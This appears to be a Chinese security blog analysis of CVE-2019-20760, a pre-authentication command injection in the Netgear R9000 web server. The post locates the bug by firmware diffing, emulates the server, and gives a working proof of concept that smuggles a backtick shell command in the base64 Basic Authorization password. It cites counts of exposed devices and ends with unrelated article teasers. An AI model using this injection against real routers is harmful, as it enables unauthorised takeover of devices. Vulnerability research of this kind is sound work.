危害被低估的Netgear认证前漏洞CVE-2019-20760分析
概述
Netgear R9000设备2019年爆出认证绕过漏洞CVE-2019-20760,题目之所以说这个漏洞远被低估,主要以下两个原因:
- 实际漏洞危害较大,公开信息仅显示该漏洞为一个认证绕过漏洞,没有具体漏洞信息或者
POC
,但是经过分析,发现该漏洞其实是一个认证前的注入漏洞,攻击者只需要知道设备ip便可以获取设备的最高控制权; - 影响范围广,另外在测试中发现
R7800
的1.0.2.62
版本;R7500
的1.0.3.46
版本等也受此漏洞影响,简单推测影响范围应该还有其它多款系列型号; - 影响数量大,据fofa检索,暴露在公网的设备中
R9000
数量大概有5000
台,R7800
大概有15000
台,而且还不算其它可能受影响的型号数量,而且由于官方信息只是说明为认证绕过漏洞,猜测也并没有引起广泛注意而更新固件。
由于该漏洞公告只有大概信息,下文记录针对R9000
型号的该漏洞分析定位调试的过程。
漏洞点分析
根据漏洞公告信息,Netgear R9000设备1.0.4.26
版本前存在认证绕过漏洞,但是并没有详细说明漏洞点位置,尝试根据公告信息结合二进制比对查找漏洞点。
固件下载及解析
通过以下地址可以下载存在漏洞版本固件以及修复版本固件
漏洞版本固件下载链接
修复版本固件下载链接
两固件均通过binwalk
可常规解压获得文件系统
查找web处理程序
通过查找Referer
字符串来确定一下web
处理程序
$ grep -r "Referer" Binary file usr/bin/curl matches Binary file usr/sbin/wget matches Binary file usr/sbin/uhttpd matches Binary file usr/lib/libcurl.so.4.3.0 matches Binary file bin/fbwifi matches Binary file bin/ookla matches Binary file iQoS/R9000/TM/data_colld matches Binary file iQoS/R8900/TM/data_colld matches
通过命名即可判断web
处理的二进制应该是uhttpd
二进制比对
使用diaphora来进行二进制比对操作。
diaphora
使用非常简单,首先使用IDA
打开漏洞版本1.04.26
版本文件系统中的uhttpd
,选择File--Script file...--diaphora.py
,在弹出框中点击OK
,然后再使用IDA
打开修复版本1.04.28
版本文件系统中的uhttpd
,同样方法打开diaphora
,在弹出框中的SQLite database to diff against
中选择1.04.26
版本的uhttpd
生成的sqlite
文件,再点击OK
即可开始比对,稍等片刻,便会出现比对结果。
可以查看Partial matches
,其中login_type
函数进入后除了命名没有太多改变,所以主要查看uh_cgi_auth_check
,选中这个函数后点击右键——Diff Pseudo-code
,可以在反编译代码的层面上查看差异点,左边是修复版本,右边是漏洞版本:
可以看出修复版本使用了dni_system
,而漏洞版本snprintf
后直接传入system
执行,猜测漏洞点位于此处。
尝试使用IDA
打开漏洞版本的uhttpd
的uh_cgi_auth_check
函数:
直观审计起来不是很好看,包括函数的参数是什么也都不太清楚,这里采用一个比较懒的方法,我尝试找到了对应的源码:
源码下载地址
源码对应位置并没有相应的system
函数,猜测是官方故意做了一些隐藏,但是可以借由源码恢复出来很多结构信息。
具体操作可以参考cve-2018-5767 Tenda AC15 栈溢出漏洞调试比较简单,这里不再赘述。
定位漏洞点
在漏洞版本中,恢复完符号表以后可以清楚的看出,数据包头中的Authorization
中Basic
后数据经过base64
解码后,其中:
后边的password
参数会被传入snprintf
,然后调用system
来执行,造成漏洞。
前文已经说明,在修复版本中,没有直接调用system
,换成了dni_system
,查看一下dni_system
;
可以看出,dni_system
采用了execve
来执行命令,只有参数可控,是无法做到RCE
之类的危害的。
漏洞复现
web模拟
查看etc/init.d/uhttpd
cat ./etc/init.d/uhttpd......start() {#config_load uhttpd#config_foreach start_instance uhttpd#mkdir /tmp/www#cp -rf /usr/www/* /tmp/www/www/cgi-bin/uhttpd.sh startinetddetplc#for bug58012touch /tmp/fwcheck_status } .....
可以看到启动uhttpd
使用了/www/cgi-bin/uhttpd.sh
这个脚本
查看这个脚本:
╰─$ cat ./www/cgi-bin/uhttpd.sh #!/bin/shREALM=`/bin/cat /module_name | sed 's/\n//g'` UHTTPD_BIN="/usr/sbin/uhttpd" PX5G_BIN="/usr/sbin/px5g"uhttpd_stop() {kill -9 $(pidof uhttpd) }uhttpd_start() {$UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443 }case "$1" instop)uhttpd_stop;;start)uhttpd_start;;restart)uhttpd_stopuhttpd_start;;*)logger -- "usage: $0 start|stop|restart";; esac
其中-C /etc/uhttpd.crt -K /etc/uhttpd.key -s
我们都可以省略掉,忽略https
即可,REALM
参数可以直接获得:
$ cat ./module_name 130 ↵
R9000
然后即可获得uhttpd
的启动命令:
/usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80
使用file
查看指令架构:
$ file ./bin/busybox
./bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header
使用qemu-system
打开armhf
虚拟机,此步骤在IOT环境搭建–如何使用qemu运行各种指令架构程序中有详细步骤,此处不再赘述
将文件系统拷贝进armhf
虚拟机中,运行以下命令:
chroot . /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80
没有报错,查看端口情况:
$ netstat -antp | grep uhttpd tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 2425/uhttpd tcp6 0 0 :::80 :::* LISTEN 2425/uhttpd
可以看到80端口已经启动起来了,模拟成功
构造攻击数据包
在浏览器中访问http://<device_ip>/cgi-bin/
,可以弹出登录框:
使用admin@admin账户登陆抓包如下:
GET /cgi-bin/ HTTP/1.1 Host: <your ip> Cache-Control: max-age=0 Authorization: Basic YWRtaW46YWRtaW4= Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Connection: close
尝试构造POC
,
$ echo 'admin:`touch /abcd`' | base64 YWRtaW46YHRvdWNoIC9hYmNkYAo=
构造数据包
GET /cgi-bin/ HTTP/1.1 Host: <Your IP> Cache-Control: max-age=0 Authorization: Basic YWRtaW46YHRvdWNoIC9hYmNkYAo= Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Connection: close
发送数据包后查看文件系统
root@debian-armhf:~/squashfs-root# ls abcd bin cloud_version default_language_version dev etc firmware_region firmware_time firmware_version hardware_version home hw_id iQoS lib mnt module_name overlay proc rom root sbin sys tmp usr var www
可以发现abcd
这个文件已经被创建,攻击成功。
总结
本漏洞NVD
的评分是8.8
,然而对于这种认证前的RCE漏洞,个人认为评分是低了,知道设备的ip
信息,便可以获取该设备最高控制权,该漏洞危害性还是比较大的。而且在测试中,发现该漏洞影响的设备型号也并不止R9000
这一款。
IoT
漏洞分析中,认证流程分析是必不可少的一环,直接在认证过程中就将用户输入没有做任何校验直接传入system
,漏洞还是很明显也比较简单。
另外,通过二进制比对方法来找1day漏洞,也是一种比较简洁取巧的方法。
参考:
[1] CVE-2019-20760
[2] cve-2018-5767 Tenda AC15 栈溢出漏洞调试
[3] IOT环境搭建–如何使用qemu运行各种指令架构程序
[4] fofa网络资产测绘
相关文章:
危害被低估的Netgear认证前漏洞CVE-2019-20760分析
概述 Netgear R9000设备2019年爆出认证绕过漏洞CVE-2019-20760,题目之所以说这个漏洞远被低估,主要以下两个原因: 实际漏洞危害较大,公开信息仅显示该漏洞为一个认证绕过漏洞,没有具体漏洞信息或者POC,但…...
微软量子芯片引领人工智能革命,开启计算新纪元
摘要:微软近日发布了具有里程碑意义的量子芯片,这一突破性技术不仅为量子计算带来了新的可能性,更为人工智能领域带来了前所未有的发展机遇。本文将探讨微软量子芯片如何与人工智能相结合,以及它对未来计算世界的深远影响。 一、…...
PHP2(WEB)
##解题思路 打开页面什么线索都没有,目录扫描只是扫出来一个index.php,而源代码没有东西,且/robots.txt是不允许访问的 于是一番查询后发现,有个index.phps的文件路径,里头写着一段php的逻辑,对url的id参数…...
Linux 下 VIM 编辑器学习记录:从基础到进阶(中)
在 Linux 系统的学习与实践过程中,对文件内容的查看是一项极为基础且高频的操作。熟练掌握各类内容查看命令,不仅能提升我们在 Linux 环境下的工作效率,对于学习 Java 全栈开发的同学来说,在处理项目相关的配置文件、日志文件时也…...
使用Python进行PDF隐私信息检测
在当今,数据隐私保护变得尤为重要。随着越来越多的个人信息以电子形式存储和传输,确保这些信息的安全至关重要。本文将介绍如何使用Python及其相关库来检测PDF文件中的隐私信息,如姓名、身份证号、手机号和邮箱等。 C:\pythoncode\new\checkp…...
【Python爬虫(45)】Python爬虫新境界:分布式与大数据框架的融合之旅
【Python爬虫】专栏简介:本专栏是 Python 爬虫领域的集大成之作,共 100 章节。从 Python 基础语法、爬虫入门知识讲起,深入探讨反爬虫、多线程、分布式等进阶技术。以大量实例为支撑,覆盖网页、图片、音频等各类数据爬取ÿ…...
网络安全科普系统开发与设计(springboot论文源码调试讲解)
第4章 总体设计 4.1系统目标 本系统旨在达到科普知识信息展示、案例分析信息查询、试题信息添加、评论、答题管理、信息分类等为一体,为用户和管理员提供服务。使管理员更加轻松的进行工作,使用户更加快速的解决自己的问题。本系统的设计界面丰富&#…...
前后端对接
前端与后端的对接主要通过 接口 进行数据交互,具体流程和方式如下: 1. 明确需求与接口定义 前后端协商:确定需要哪些接口、接口的功能、请求参数和返回格式。接口文档:使用工具(如 Swagger、Postman、Apifoxÿ…...
深入浅出 SQLSugar:快速掌握高效 .NET ORM 框架
SQLSugar 是一个高效、易用的 .NET ORM 框架,支持多种数据库(如 SQL Server、MySQL、PostgreSQL 等)。它提供了丰富的功能,包括 CRUD 操作、事务管理、动态表名、多表联查等,开发者可以通过简单的链式操作实现复杂的数…...
计算机专业知识【深入理解子网中的特殊地址:为何 192.168.0.1 和 192.168.0.255 不能随意分配】
在计算机网络的世界里,IP 地址是设备进行通信的关键标识。对于常见的子网,如 192.168.0.0/24,我们可能会疑惑为何某些地址不能分配给主机使用。接下来,我们就以 192.168.0.0/24 为例,详细解释为何 192.168.0.1 和 192.…...
网络安全与措施
🍅 点击文末小卡片 ,免费获取网络安全全套资料,资料在手,涨薪更快 # 网络安全问题概述 1) 数据安全 访问(授权访问);存储(容灾、备份或异地备份等) 2) 应用程序 不能…...
复刻Dummy机械臂保姆教程
一直想复刻稚晖君的Dummy机械臂,24年11月底终于开始行动,上网学习、材料准备、组装调试前后耗时1个多月,终于在春节前顺利完工,正好用它给大家拜个年。很多同学在咨询细节,这里就整理一份保姆式教程,其中学…...
|网络安全|网络安全学习方法
1、先网络后安全 很多初学者还没搞定网络看懂网络拓扑,就急着研究防火墙或VPN,其实这样就不清楚整个网络架构是如何安全演进的。正确的流程是:先通过网络协议和拓扑设计的学习,能独立搭建一个企业网/校园网,再引入局域…...
内外网隔离文件传输解决方案|系统与钉钉集成+等保合规,安全提升70%
一、背景与痛点 在内外网隔离的企业网络环境中,员工与外部协作伙伴(如钉钉用户)的文件传输面临以下挑战: 1. **安全性风险**:内外网直连可能导致病毒传播、数据泄露。 2. **操作繁琐**:传统方式需频繁切…...
EasyRTC:轻量化SDK赋能嵌入式设备,开启智能硬件音视频通讯新篇章
在智能硬件与物联网飞速发展的今天,嵌入式设备的音视频通讯能力正变得愈发重要。然而,受限于硬件资源,尤其是Flash存储空间的不足,传统音视频通讯方案往往难以在嵌入式设备上实现高效集成。EasyRTC凭借其轻量级SDK和先进的技术架构…...
如何使用3D高斯分布进行环境建模
使用3D高斯分布来实现建模,主要是通过高斯分布的概率特性来描述空间中每个点的几何位置和不确定性。具体来说,3D高斯分布被用来表示点云数据中的每一个点或体素(voxel)的空间分布和不确定性,而不是单纯地存储每个点的坐…...
Java 大视界 -- 总结与展望:Java 大数据领域的新征程与无限可能(96)
💖亲爱的朋友们,热烈欢迎来到 青云交的博客!能与诸位在此相逢,我倍感荣幸。在这飞速更迭的时代,我们都渴望一方心灵净土,而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识,也…...
从零开始:VirtualBox安装Ubuntu 24.04.1 LTS
博客系列:Ubuntu虚拟机搭建与Python开发环境配置全攻略 第一篇:从零开始:VirtualBox安装Ubuntu 24.04.1 LTS(当前)第二篇:解决VirtualBox卡顿问题:配置优化和常见错误排查第三篇:轻…...
使用大语言模型(Deepseek)构建一个基于 SQL 数据的问答系统
GitHub代码仓库 架构 从高层次来看,这些系统的步骤如下: 将问题转换为SQL查询:模型将用户输入转换为SQL查询。 执行SQL查询:执行查询。 回答问题:模型根据查询结果响应用户输入。 样本数据 下载样本数据…...
记录此刻:历时两月,初步实现基于FPGA的NVMe SSD固态硬盘存储控制器设计!
背景 为满足实验室横向项目需求,在2024年12月中下旬导师提出基于FPGA的NVMe SSD控制器研发项目。项目核心目标为:通过PCIe 3.0 x4接口实现单盘3000MB/s的持续读取速率。 实现过程 调研 花了半个月的时间查阅了一些使用FPGA实现NVME SSD控制器的论文、…...
【mysql】核心参数,SHOW VARIABLES
核心参数分类解析 SET GLOBAL slow_query_log = ON; 修改参数设置 一、核心参数分类解析 1. 连接和线程配置 max_connections (200):允许的最大并发连接数,超过会拒绝新连接。 wait_timeout (28800秒):非交互式连接的空闲超时时间(默认8小时)。 interactive_timeout (…...
centOS 7.9 安装JDK MYSQL
jdk: Java Archive Downloads - Java SE 17.0.12 and earlier CentOS安装JDK17教程(完整版) - 秦胜飞 - 博客园 sudo yum update wget https://download.oracle.com/java/17/archive/jdk-17.0.3.1_linux-x64_bin.rpm yum install ./jdk-17.0.3.1_linux…...
【OS安装与使用】part5-ubuntu22.04基于conda安装pytorch+tensorflow
文章目录 一、待解决问题1.1 问题描述1.2 解决方法 二、方法详述2.1 必要说明2.2 应用步骤2.2.1 明确pytorch安装依赖2.2.2 conda创建虚拟环境2.2.3 安装pytorch2.2.4 验证pytorch安装2.2.5 安装Tensorflow2.2.6 验证Tensorflow安装 三、疑问四、总结 一、待解决问题 1.1 问题…...
SVM 支持向量机
Owner: 潘达斯奈基 #数据科学/机器学习/SVM 一 支持向量机简介 支持向量机(Support Vector Machine, SVM)是一个二元分类算法,是对感知器算法模型的一种拓展,现在的SVM算法支持线性分类和非线性分类应用,…...
第1章大型互联网公司的基础架构——1.9 LSM Tree
**LSM Tree(Log-Structured Merge Tree)是一种对高并发写数据非常友好的键值存储模型,同时兼顾了查询效率。**LSMTree是我们下面将要介绍的NoSQL数据库所依赖的核心数据结构,例如BigTable.、HBase、 Cassandra、TiDB 等。 1.9.1 …...
053 性能压测 单机锁 setnx
文章目录 性能压测-压力测试索引thymeleafnginx减少数据库查询(代码有bug)缓存 安全单机锁(防止缓存击穿)setnx pom.xml 性能压测-压力测试 1 响应时间(Response Time: RT):响应时间指用户从客…...
眼见不一定为实之MySQL中的不可见字符
目录 前言 一、问题的由来 1、需求背景 2、数据表结构 二、定位问题 1、初步的问题 2、编码是否有问题 3、依然回到字符本身 三、深入字符本身 1、回归本质 2、数据库解决之道 3、代码层解决 四、总结 前言 在开始今天的博客内容之前,正在看博客的您先…...
【Java 面试 八股文】JVM 虚拟机篇
JVM 虚拟机篇 1. JVM组成1.1 JVM由那些部分组成,运行流程是什么?1.2 什么是程序计数器?1.3 你能给我详细的介绍Java堆吗?1.4 Java 虚拟机栈1.4.1 Java Virtual machine Stacks (java 虚拟机栈)1.4.2 栈和堆的区别1.4.3 垃圾回收是否涉及栈内…...
达梦数据库学习笔记@1
目录 达梦数据库学习笔记一、表空间管理(一)默认表空间(二)相关数据字典(三)表空间操作(四)临时表空间管理 二、重做日志管理(一)系统视图(二&…...
条款23:宁以non-member、non-friend替换member函数
1.使用场景举例 网络浏览器类 当然这一功能也可以由一个non-menber函数(更好的封装,本条款的核心立意)提供: 面向对象守则要求数据应该尽可能的被封装,然而与直观相反地,member函数clearEverything带来的封…...
代码审计初探
学会了基础的代码审计后,就该提高一下了,学一下一些框架的php代码审计 先从一些小众的、已知存在漏洞的cms入手 phpems php的一款开源考试系统 源码下载 https://down.chinaz.com/soft/34597.htm 环境部署 windows审计,把相关文件放到phps…...
2025前端框架最新组件解析与实战技巧:Vue与React的革新之路
作者:飞天大河豚 引言 2025年的前端开发领域,Vue与React依然是开发者最青睐的框架。随着Vue 3的全面普及和React 18的持续优化,两大框架在组件化开发、性能优化、工程化支持等方面均有显著突破。本文将从最新组件特性、使用场景和编码技巧三…...
Eclipse自动排版快捷键“按了没有用”的解决办法
快捷键按了没有用,通常是因为该快捷键方式被其他软件占用了,即别的软件也设置了这个快捷键,导致你按了之后电脑不知道该响应哪个软件。 解决办法:1.将当前软件的这个快捷键改了;2.找到占用的那个软件,把那…...
小型字符级语言模型的改进方向和策略
小型字符级语言模型的改进方向和策略 一、回顾小型字符级语言模型的处理流程 前文我们已经从零开始构建了一个小型字符级语言模型,那么如何改进和完善我们的模型呢?有哪些改进的方向?我们先回顾一下模型的流程: 图1 小型字符级语言模型的处理流程 (1)核心模块交互过程:…...
请简述一下Prefab(预制体)的本质是什么?
在 Unity 中,Prefab(预制体)是一种非常重要的资产类型。 Prefab 本质上是一个可重复使用(开发者可以在场景中多次实例化同一个预制体)的游戏对象模板(预制体就像一个模板,对预制体本身的修改会…...
【开源项目】分布式文本多语言翻译存储平台
分布式文本多语言翻译存储平台 地址: Gitee:https://gitee.com/dreamPointer/zza-translation/blob/master/README.md 一、提供服务 分布式文本翻译服务,长文本翻译支持流式回调(todo)分布式文本多语言翻译结果存储服…...
使用GPU训练模型
1.说明 本地训练模型可以用CPU和GPU,但是GPU的性能比CPU要好得多,所以如果有独立显卡的,尽量还是用GPU来训练模型。 使用GPU需要安装Cuda和Cudnn 2.安装Cuda 安装cuda之前,首先看一下显卡支持的cuda版本,在命…...
DPVS-3: 双臂负载均衡测试
测试拓扑 双臂模式, 使用两个网卡,一个对外,一个对内。 Client host是物理机, RS host都是虚拟机。 LB host是物理机,两个CX5网卡分别在两个子网。 配置文件 用dpvs.conf.sample作为双臂配置文件,其中…...
Spring Security+JWT+Redis实现项目级前后端分离认证授权
1. 整体概述 权限管理包括用户身份认证和授权两部分,简称认证授权。对于需要访问控制到资源,用户首先经过身份认证,认证通过后用户具有该资源的访问权限方可访问。 1.1 认证概述 认证是确认用户身份的过程,确保用户是谁。 1.1.1 …...
马斯克宣布Grok语音模式正式上线:早期测试版本 可能有一些问题
快科技2月23日消息,据报道,马斯克旗下xAI团队近期动作频频,继2月18日直播发布Grok最新版本Grok3后,马斯克又在社交平台X上宣布,Grok语音模式早期测试版现已在Grok应用程序上线,并对其表现给予了高度评价。 …...
P9631 [ICPC 2020 Nanjing R] Just Another Game of Stones Solution
Description 给定序列 a ( a 1 , a 2 , ⋯ , a n ) a(a_1,a_2,\cdots,a_n) a(a1,a2,⋯,an),有 m m m 个操作分两种: chmax ( l , r , k ) \operatorname{chmax}(l,r,k) chmax(l,r,k):对每个 i ∈ [ l , r ] i \in [l,r] i∈[l,…...
请求go构建缓存,go clean -cache
go clean -cache go 构建时会产生很多缓存, 一般是目录:/Users/xxx/Library/Caches/go-build 此目录README: This directory holds cached build artifacts from the Go build system. Run "go clean -cache" if the directory …...
安全面试4
文章目录 给的源码是ThinkPHP框架的话,审计起来和没有使用框架的有什么不同,从流程上或者从关注的点上有什么不同框架代码审计的流程无框架代码审计的流程 反序列的时候,unserialize()反序列一个字符串的时候,对象会有一些魔术方法…...
HTML之JavaScript DOM操作元素(1)
HTML之JavaScript DOM操作元素(1) 3.对元素进行操作1.操作元素的属性 元素名.属性名 ""2.操作元素的样式 元素.style.样式名 "" 样式名 "-" 要进行驼峰转换3.操作元素的文本 元素名.innerText 只识别文本元素名…...
SpringBoot+Vue+微信小程序的猫咖小程序平台(程序+论文+讲解+安装+调试+售后)
感兴趣的可以先收藏起来,还有大家在毕设选题,项目以及论文编写等相关问题都可以给我留言咨询,我会一一回复,希望帮助更多的人。 系统介绍 在当下这个高速发展的时代,网络科技正以令人惊叹的速度不断迭代更新。从 5G …...
【十一】Golang 指针
💢欢迎来到张胤尘的开源技术站 💥开源如江河,汇聚众志成。代码似星辰,照亮行征程。开源精神长,传承永不忘。携手共前行,未来更辉煌💥 文章目录 指针指针定义指针初始化& 操作符new 函数初始…...
“conda”不是内部或外部命令,也不是可运行的程序或批处理文件
有的时候,我们发现在cmd黑框中输入conda时,cmd会显示“conda”不是内部或外部命令,也不是可运行的程序或批处理文件,那这时候该怎么解决呢? Step01:我们找到Anconda的安装目录。然后找到里面的bin文件夹&am…...
通过LM Studio本地私有化部署DeepSeek-R1模型,无网络也能用
打开LM Studio官网https://lmstudio.ai/ 选择适合自己的操作系统,下载LM Studio安装包 本地电脑安装成功后运行LM Studio,顶部文本框输入deepseek,点击搜索模型 在搜索结果中选择7B参数模型, 如上图右侧提示“No result found”说…...
GPU和FPGA的区别
GPU(Graphics Processing Unit,图形处理器)和 FPGA(Field-Programmable Gate Array,现场可编程门阵列)不是同一种硬件。 我的理解是,虽然都可以用于并行计算,但是GPU是纯计算的硬件…...
CMake管理依赖实战:多仓库的无缝集成
随着软件复杂度的增加,单个项目可能需要依赖多个外部库或模块。这些依赖项可能是来自不同的代码仓库,如ATest和BTest。为了实现高效的依赖管理,CMake提供了多种方式来处理这种多仓库的情况。下面我们将详细介绍几种常见的方法,并通…...